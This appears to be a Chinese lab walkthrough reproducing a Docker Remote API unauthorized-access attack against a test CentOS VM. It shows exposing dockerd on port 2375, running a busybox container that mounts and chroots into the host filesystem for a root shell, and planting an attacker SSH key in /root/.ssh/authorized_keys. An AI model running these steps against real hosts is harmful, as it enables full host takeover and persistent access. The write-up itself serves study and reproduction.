docker未授权攻击利用复现

2023-07-11,,

环境配置

受害机:CentOS

攻击者:kali

配置docker配置文件,使得测试机存在未授权访问

vim /usr/lib/systemd/system/docker.service

原本[Service] ExecStart参数

修改为

ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock

重启docker服务

systemctl daemon-reload
systemctl restart docker

查看docker进程

ps -ef|grep docker

Docker守护进程打开了一个HTTP Socket,才能实现远程通信

在我的CentOS虚拟机上进行测试的时候,需要关闭防火墙才能被访问到

systemctl status firewalld
#查看防火墙运行状态
systemctl stop firewalld
#关闭防火墙

在我们的攻击机上就可以正常访问并执行命令了

利用

创建容器并挂载主机目录

使用docker命令创建一个busybox容器,并将宿主机的磁盘挂载到容器中。busybox体积小,从仓库拉取的速度也更快,同时命令也齐全,搞起来方便。

docker -H tcp://xx.xx.xx.xx run --rm -it -v /:/mnt busybox chroot /mnt sh

参数含义:

--rm 容器停止时自动删除该容器
-privileged 使用该参数,container内的root有真正root权限。否则container内的root只是外部一个普通用户权限。privileged启动的容器,可以看到很多host上的设备,并可以执行mount;允许字docker容器中启动docker容器。
-v 挂载目录。格式 系统目录:容器目录
chroot /mnt 更改root目录,系统默认目录结构以 /(root) 开始,使用chroot后,系统目录结构以指定的 /mnt 位置作为 / 位置。最后的sh是我们使用的shell

可以看到直接进入了系统目录

写入攻击者的公钥

在攻击机上生成公钥,并将其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中,即可直接免密登录目标机器

查看本机ssh公钥及生成公钥

本机存在id_rsa.pub文件:cat /root/.ssh/id_rsa.pub

本机不存在则生成:执行ssh-keygen

本地不存在.ssh目录

执行ssh localhost

不存在authorized_keys文件,新建并写入(存在追加即可)

重启ssh服务

systemctl restart sshd

能够成功登录

利用条件与检测

参考

Docker Remote API未授权访问漏洞复现

docker未授权攻击利用复现的相关教程结束。

《docker未授权攻击利用复现.doc》

下载本文的Word格式文档,以方便收藏与打印。